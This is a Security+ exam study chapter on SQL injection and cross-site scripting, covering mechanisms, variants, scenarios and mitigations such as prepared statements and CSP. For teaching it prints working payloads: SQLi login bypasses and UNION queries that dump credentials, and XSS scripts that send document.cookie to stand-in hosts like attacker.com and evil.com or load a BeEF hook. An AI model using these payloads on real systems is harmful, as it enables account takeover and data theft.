This chapter covers two of the most critical web application attacks: SQL injection (SQLi) and cross-site scripting (XSS). For the SY0-701 exam, Objective 2.3 (Threats, Vulnerabilities, and Mitigations) specifically tests your ability to identify these attacks, understand their mechanisms, and recommend appropriate mitigations. According to the OWASP Top 10, injection flaws (including SQLi) are the number one web application security risk, while XSS is a top-three threat. Mastering these topics is essential for both the exam and real-world security practice.
Jump to a section
Imagine an ATM that accepts a withdrawal slip. A legitimate user fills in their account number and the amount. However, the ATM's software is insecure: it directly inserts the text from the slip into a database query that checks the account balance. An attacker enters a slip that says: '12345; UPDATE accounts SET balance = 1000000 WHERE account = 12345; --'. The ATM, without validation, executes the first command (checking balance) and then the second command (updating the balance). The '--' comments out any remaining code. This is exactly how SQL injection works: the attacker 'injects' malicious SQL commands through an input field, and the database executes them because the input is not sanitized. The ATM represents the web application, the slip is the user input, and the database is the backend. In cross-site scripting (XSS), the injection is into a web page's HTML/JavaScript rather than a database query. Instead of altering a database, the attacker injects script code that runs in another user's browser, stealing cookies or redirecting them. Both attacks rely on the same fundamental flaw: trusting untrusted input and not properly separating code from data.
What is SQL Injection?
SQL injection (SQLi) is a code injection technique where an attacker inserts malicious SQL statements into an application's input fields (e.g., login forms, search boxes, URL parameters). These statements are then executed by the backend database, potentially allowing the attacker to view, modify, or delete data. The root cause is improper handling of user-supplied data: the application fails to distinguish between code (SQL commands) and data (user input).
How SQL Injection Works Mechanically
Consider a simple login form that accepts a username and password. The backend PHP code might look like this:
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $sql);If a user enters a normal username (e.g., 'alice') and password (e.g., 'secret'), the query becomes:
SELECT * FROM users WHERE username='alice' AND password='secret'Now, if an attacker enters ' OR '1'='1 as the username and ' OR '1'='1 as the password, the query becomes:
SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'Because '1'='1' is always true, the query returns all rows from the users table. The application sees a valid result and logs the attacker in as the first user (often an admin).
Key Components and Variants
- In-band SQLi: The attacker uses the same channel to launch the attack and gather results. The two most common forms are:
- Error-based SQLi: The attacker forces the database to generate an error message that reveals information (e.g., table names, column names). For example, injecting ' AND 1=CONVERT(int, (SELECT @@version)) -- may cause an error that shows the database version.
- Union-based SQLi: The attacker uses the UNION SQL operator to combine the results of the original query with results from other tables. Example: ' UNION SELECT username, password FROM users --.
- Inferential (Blind) SQLi: The attacker sends payloads that cause the application to behave differently based on whether a condition is true or false, allowing them to extract data bit by bit. Two types:
- Boolean-based blind: Uses conditions like ' AND 1=1 -- (true) vs ' AND 1=2 -- (false) to observe differences in response.
- Time-based blind: Uses functions like SLEEP(5) to cause a delay if a condition is true. Example: ' IF (1=1) WAITFOR DELAY '0:0:5' --.
- Out-of-band SQLi: The attacker uses a different channel (e.g., DNS or HTTP requests) to exfiltrate data. This is less common but useful when the attacker cannot see the direct response. Example: using xp_cmdshell to send data to an attacker-controlled server.
How Attackers Exploit SQL Injection
Attackers follow a systematic process:
1. Reconnaissance: Identify input points (forms, URL parameters, HTTP headers).
2. Testing for vulnerability: Inject a single quote (') or a boolean condition (' AND 1=1--) to see if the application behaves differently.
3. Determine database type: Use database-specific functions (e.g., @@version for MSSQL, version() for MySQL) to identify the DBMS.
4. Extract data: Use UNION or blind techniques to retrieve table names, column names, and data.
5. Escalate: Attempt to gain administrative access or execute operating system commands (e.g., via xp_cmdshell on MSSQL).
Real Command/Tool Examples
- SQLMap: The most popular automated SQLi tool. A basic command:
sqlmap -u "http://example.com/page?id=1" --batch --dbsThis tests the URL for SQLi and lists databases. - Manual payload: For a MySQL database, to list all tables:
' UNION SELECT table_name, NULL FROM information_schema.tables --What is Cross-Site Scripting (XSS)?
XSS is a vulnerability where an attacker injects malicious client-side scripts (usually JavaScript) into web pages viewed by other users. Unlike SQLi, which targets the database, XSS targets the user's browser. The injected script can steal cookies, session tokens, redirect users to phishing sites, or deface web pages.
How XSS Works Mechanically
XSS occurs when an application includes user-supplied data in its output (HTML) without proper escaping or validation. For example, a comment form that displays user comments:
$comment = $_POST['comment'];
echo "<div>$comment</div>";If an attacker submits:
<script>alert('XSS')</script>When any user views that page, the browser executes the script, displaying an alert box. A real attacker would use a more malicious payload, such as:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>This sends the victim's cookies to the attacker's server.
Types of XSS
Stored (Persistent) XSS: The malicious script is permanently stored on the server (e.g., in a database, forum post, or comment). Every user who views the affected page executes the script. This is the most dangerous type.
Reflected (Non-persistent) XSS: The script is reflected off the web server, usually via a crafted URL or form submission. The attacker tricks the victim into clicking a link that contains the payload. The script is not stored; it appears only in the response to that specific request. Example URL: http://example.com/search?q=<script>...</script>.
DOM-based XSS: The vulnerability exists in client-side JavaScript code that dynamically updates the DOM based on user input (e.g., document.write, innerHTML). The server may not even be involved. For example, a script that reads a fragment identifier (#) from the URL and writes it to the page.
How Attackers Exploit XSS
Attackers typically craft a payload that:
1. Steals cookies: document.cookie is sent to an attacker-controlled server.
2. Captures keystrokes: A keylogger script records everything the victim types.
3. Defaces the page: Changes the content displayed to the user.
4. Phishing: Injects a fake login form that sends credentials to the attacker.
Real Command/Tool Examples
- BeEF (Browser Exploitation Framework): A tool that uses XSS to hook browsers and execute commands. A hook payload:
<script src="http://attacker.com/hook.js"></script>- Manual payload for cookie theft:
<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>Mitigations for SQLi
- Prepared Statements (Parameterized Queries): The most effective defense. SQL code is defined separately from data. Example in PHP:
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();Stored Procedures: Pre-defined SQL code that can be called with parameters. However, if not written carefully, they can still be vulnerable.
Input Validation: Whitelist allowed characters (e.g., only alphanumeric for usernames). But this is a secondary defense.
Escaping User Input: Functions like mysqli_real_escape_string() can help but are not foolproof.
Least Privilege: Database accounts should have minimal permissions (e.g., no xp_cmdshell or DROP privileges).
Web Application Firewall (WAF): Can detect and block malicious SQL patterns (e.g., ModSecurity).
Mitigations for XSS
- Output Encoding/Escaping: Encode user-supplied data before rendering it in HTML. For example, convert < to <, > to >, " to ". Context matters: use HTML entity encoding for HTML body, JavaScript encoding for script contexts, URL encoding for URLs.
- Content Security Policy (CSP): A browser security mechanism that restricts which scripts can execute. Example header:
Content-Security-Policy: script-src 'self' https://trusted.cdn.com This blocks inline scripts and only allows scripts from the same origin or a trusted CDN.
- Input Validation: Validate input on the server side; reject or sanitize unexpected data.
- HttpOnly Cookies: Set the HttpOnly flag on cookies to prevent JavaScript from accessing them via document.cookie. This mitigates cookie theft via XSS but does not prevent other XSS impacts.
- X-XSS-Protection Header: Older browsers used this (e.g., X-XSS-Protection: 1; mode=block), but it is deprecated in modern browsers; CSP is preferred.
- Framework Features: Modern web frameworks (e.g., React, Angular, Django) automatically escape output by default, but developers must still be careful with dangerous functions like innerHTML.
Identify Input Vectors
The attacker probes the application for all user-controlled input points: URL parameters (e.g., ?id=1), form fields (username, password), HTTP headers (User-Agent, Referer), and cookies. They also look for reflected data (e.g., search terms displayed on the page). Tools like Burp Suite or OWASP ZAP can automate this reconnaissance. The goal is to list every place where user input is accepted and potentially reflected or stored.
Test for SQL Injection Vulnerability
The attacker submits a single quote (') in an input field and observes the response. If the application returns a database error (e.g., 'You have an error in your SQL syntax'), it is likely vulnerable. They then test boolean conditions: submitting ' AND 1=1-- and ' AND 1=2--. If the first returns a normal page and the second returns an error or different content, the application is vulnerable to blind SQLi. Automated tools like sqlmap can speed up this process.
Determine Database Type and Version
Using database-specific functions, the attacker extracts the DBMS version. For MySQL, they use @@version or VERSION(). For MSSQL, @@VERSION. For Oracle, SELECT banner FROM v$version. They may use UNION-based injection to retrieve this information. Example payload: ' UNION SELECT @@version, NULL--. The version helps tailor subsequent payloads.
Extract Table and Column Names
The attacker queries the database's information schema to list tables and columns. For MySQL: ' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema='public'--. For MSSQL: ' UNION SELECT name, NULL FROM sysobjects WHERE xtype='U'--. They focus on tables containing sensitive data (e.g., users, credit_cards).
Dump Sensitive Data
Finally, the attacker retrieves the actual data. For example: ' UNION SELECT username, password FROM users--. If the passwords are hashed, they may attempt offline cracking (e.g., with Hashcat). In a blind SQLi scenario, they use boolean or time-based techniques to extract data character by character. The attacker may also attempt to escalate privileges by using xp_cmdshell on MSSQL to execute OS commands.
Scenario 1: E-commerce Site Breach via SQLi
A SOC analyst at a large e-commerce company notices an unusual spike in database errors from the product search page. The errors include SQL syntax errors. The analyst uses a web application firewall (WAF) log to identify the source IP and the payload: ' UNION SELECT credit_card_number, expiry FROM payments--. The analyst immediately blocks the IP and alerts the incident response team. They find that the application uses dynamic SQL with concatenated user input. The correct response is to temporarily take the search page offline, implement prepared statements, and perform a database audit to confirm no data was exfiltrated. A common mistake is to only block the IP without fixing the code, leaving the vulnerability open for other attackers.
Scenario 2: Stored XSS in a Corporate Intranet Forum
A user reports that when they view a specific forum post, their browser redirects to a phishing site. The security team examines the post and finds injected HTML: <script>document.location='http://evil.com/steal?creds='+document.cookie</script>. The team uses browser developer tools to inspect the page source and confirms the script is stored in the database. They immediately delete the post, reset all session cookies, and require users to re-authenticate. They also implement output encoding for all user-generated content and add a Content Security Policy header that disallows inline scripts. A common mistake is to only delete the malicious post without addressing the root cause, allowing the same attack to recur.
Scenario 3: Reflected XSS in a Search Engine
A penetration tester discovers that a company's internal search engine reflects the search term in the page without encoding. The tester crafts a URL: http://search.company.com/?q=<script>alert('XSS')</script>. The tester reports this as a medium-severity finding. The development team fixes it by HTML-encoding the search term before rendering. The security team verifies the fix by re-testing with various payloads. A common mistake is to only block specific script tags via a WAF, which can be bypassed with alternative payloads like <img src=x onerror=alert(1)>.
The SY0-701 exam tests your ability to identify SQL injection and XSS attacks, understand their mechanisms, and recommend appropriate mitigations. Specifically, you must be able to:
Distinguish between SQLi and XSS based on a scenario description.
Identify the type of XSS (stored, reflected, DOM-based) given an attack vector.
Recognize the best mitigation for each: prepared statements for SQLi, output encoding for XSS.
Understand that input validation alone is insufficient; output encoding is critical for XSS.
Common Wrong Answers and Why Candidates Choose Them 1. 'Use input validation to prevent SQLi' – While input validation helps, it is not the primary defense. Prepared statements are the gold standard. Candidates often choose input validation because it sounds like a general security best practice. 2. 'Use a WAF to prevent XSS' – A WAF can detect and block some XSS attempts, but it is not a complete solution. Output encoding and CSP are more effective. Candidates overestimate WAF capabilities. 3. 'SQLi and XSS are the same attack' – They are both injection attacks, but SQLi targets the database, while XSS targets the browser. Candidates confuse the two because both involve injecting malicious code. 4. 'DOM-based XSS is prevented by server-side validation' – DOM-based XSS occurs entirely on the client side; server-side validation may not catch it if the input is from a URL fragment or JavaScript. Candidates forget that DOM-based XSS does not involve the server.
Specific Terms and Values
- OWASP Top 10: Injection (including SQLi) is #1, XSS is #3.
- Prepared statements: Also called parameterized queries.
- CSP: Content Security Policy, header example: Content-Security-Policy: script-src 'self'.
- HttpOnly flag: Prevents JavaScript access to cookies.
- Blind SQLi: Boolean-based and time-based.
Trick Questions - A question describes a script that steals cookies when a user views a comment. This is stored XSS, not reflected, because the script is stored in the database. - A question mentions a URL parameter that causes an error revealing database information. This is error-based SQLi, not blind SQLi. - A question about a script that runs when a user clicks a link. This is reflected XSS (if the script is in the URL) or DOM-based (if the script uses location.hash).
Decision Rule for Eliminating Wrong Answers On scenario questions, first determine the target: if the attack affects the database (data theft, modification), it's SQLi. If it affects the user's browser (cookie theft, redirection), it's XSS. Then, for XSS, determine if the payload is stored (persistent), reflected (non-persistent), or client-side only (DOM-based). For SQLi, determine if the attacker sees the result directly (in-band) or infers it (blind).
SQL injection (SQLi) is an attack where malicious SQL code is inserted into input fields to manipulate the backend database.
The definitive mitigation for SQLi is prepared statements (parameterized queries), which separate SQL logic from data.
Cross-site scripting (XSS) is an attack where malicious client-side scripts are injected into web pages viewed by other users.
The three types of XSS are stored (persistent), reflected (non-persistent), and DOM-based.
Output encoding (escaping) is the primary defense against XSS; Content Security Policy (CSP) is a strong secondary defense.
In SY0-701, be able to distinguish between SQLi and XSS based on attack description and recommend the correct mitigation.
Common exam trap: confusing input validation with output encoding; input validation is not sufficient for XSS.
OWASP Top 10 lists injection (including SQLi) as #1 and XSS as #3 web application risks.
These come up on the exam all the time. Here's how to tell them apart.
SQL Injection
Targets the database server.
Injects SQL code into database queries.
Can lead to data theft, modification, or deletion.
Mitigated by prepared statements (parameterized queries).
Common variants: in-band (error/union), blind (boolean/time), out-of-band.
Cross-Site Scripting (XSS)
Targets the user's browser.
Injects JavaScript (or other client-side scripts) into web pages.
Can lead to cookie theft, redirection, defacement, or keylogging.
Mitigated by output encoding and Content Security Policy (CSP).
Common variants: stored, reflected, DOM-based.
Mistake
SQL injection only affects Microsoft SQL Server.
Correct
SQL injection can affect any database that uses SQL, including MySQL, Oracle, PostgreSQL, and SQLite. The payloads may differ, but the fundamental vulnerability is the same.
Mistake
XSS is prevented by using HTTPS.
Correct
HTTPS encrypts data in transit but does not prevent XSS. XSS is a code injection vulnerability that occurs in the application layer, regardless of the transport encryption.
Mistake
Input validation alone is sufficient to prevent SQL injection.
Correct
Input validation can reduce the attack surface, but it is not foolproof. Attackers can bypass blacklists with encoding or alternative characters. Prepared statements are the definitive defense.
Mistake
Reflected XSS is less dangerous than stored XSS because it requires user interaction.
Correct
While stored XSS is often more severe because it affects many users without additional interaction, reflected XSS can still be exploited via phishing links and can lead to account compromise. Both are critical.
Mistake
DOM-based XSS is a server-side vulnerability.
Correct
DOM-based XSS is a client-side vulnerability. The server may not even be involved; the malicious script is executed due to insecure client-side JavaScript code that handles user input (e.g., reading from location.hash).
SQL injection (SQLi) targets the database by injecting SQL commands into input fields, allowing attackers to read, modify, or delete data. Cross-site scripting (XSS) targets users' browsers by injecting malicious scripts (usually JavaScript) into web pages, allowing attackers to steal cookies, redirect users, or deface pages. The key difference is the target: database vs. browser. For the exam, if the scenario involves data theft from a database, it's SQLi; if it involves cookie theft or script execution in a browser, it's XSS.
The most effective prevention is to use prepared statements (parameterized queries). This ensures that user input is treated as data, not executable SQL code. In PHP, use PDO or MySQLi with bound parameters. Additionally, apply least privilege to database accounts, validate input (whitelist), and use a web application firewall (WAF) as a secondary layer. Avoid dynamic SQL built by concatenating strings with user input.
The best defense is output encoding (escaping) – converting special characters like <, >, &, " to their HTML entity equivalents (e.g., <). This prevents the browser from interpreting user input as code. Additionally, implement a Content Security Policy (CSP) that restricts script sources and disables inline scripts. Set the HttpOnly flag on cookies to prevent JavaScript access. Input validation is helpful but not sufficient.
Stored XSS (persistent) occurs when the malicious script is permanently stored on the server (e.g., in a database, comment, or forum post). Every user who views the affected page executes the script. Reflected XSS (non-persistent) occurs when the script is reflected off the web server, usually via a crafted URL or form submission. The attacker tricks the victim into clicking a link containing the payload; the script is not stored. Stored XSS is generally more dangerous because it affects multiple users without additional social engineering.
No, a WAF cannot fully protect against SQL injection. A WAF can detect and block many known attack patterns, but sophisticated attackers can bypass WAF rules using encoding, obfuscation, or novel payloads. The only reliable defense is to use prepared statements at the application level. A WAF should be considered a secondary layer of defense, not a replacement for secure coding practices.
DOM-based XSS is a client-side vulnerability where the malicious script is executed due to insecure JavaScript code that dynamically updates the Document Object Model (DOM) based on user input (e.g., from URL fragment, location.hash, or document.referrer). Unlike reflected XSS, the server may not be involved; the attack occurs entirely in the browser. The server's response may be benign, but the client-side script creates the vulnerability. Preventing DOM-based XSS requires careful handling of user input in JavaScript and avoiding dangerous functions like innerHTML.
Blind SQL injection occurs when the attacker cannot see the direct result of their injection (e.g., no error messages or data displayed). They infer information by sending payloads that cause the application to behave differently based on a true/false condition. In boolean-based blind SQLi, the attacker observes differences in page content (e.g., 'AND 1=1' returns a normal page, 'AND 1=2' returns an error). In time-based blind SQLi, the attacker uses functions like SLEEP(5) to cause a delay if a condition is true. This allows them to extract data character by character.
You've just covered Application Attacks: SQL Injection, XSS — now see how well it sticks with free SY0-701 practice questions. Full explanations included, no account needed.
Done with this chapter?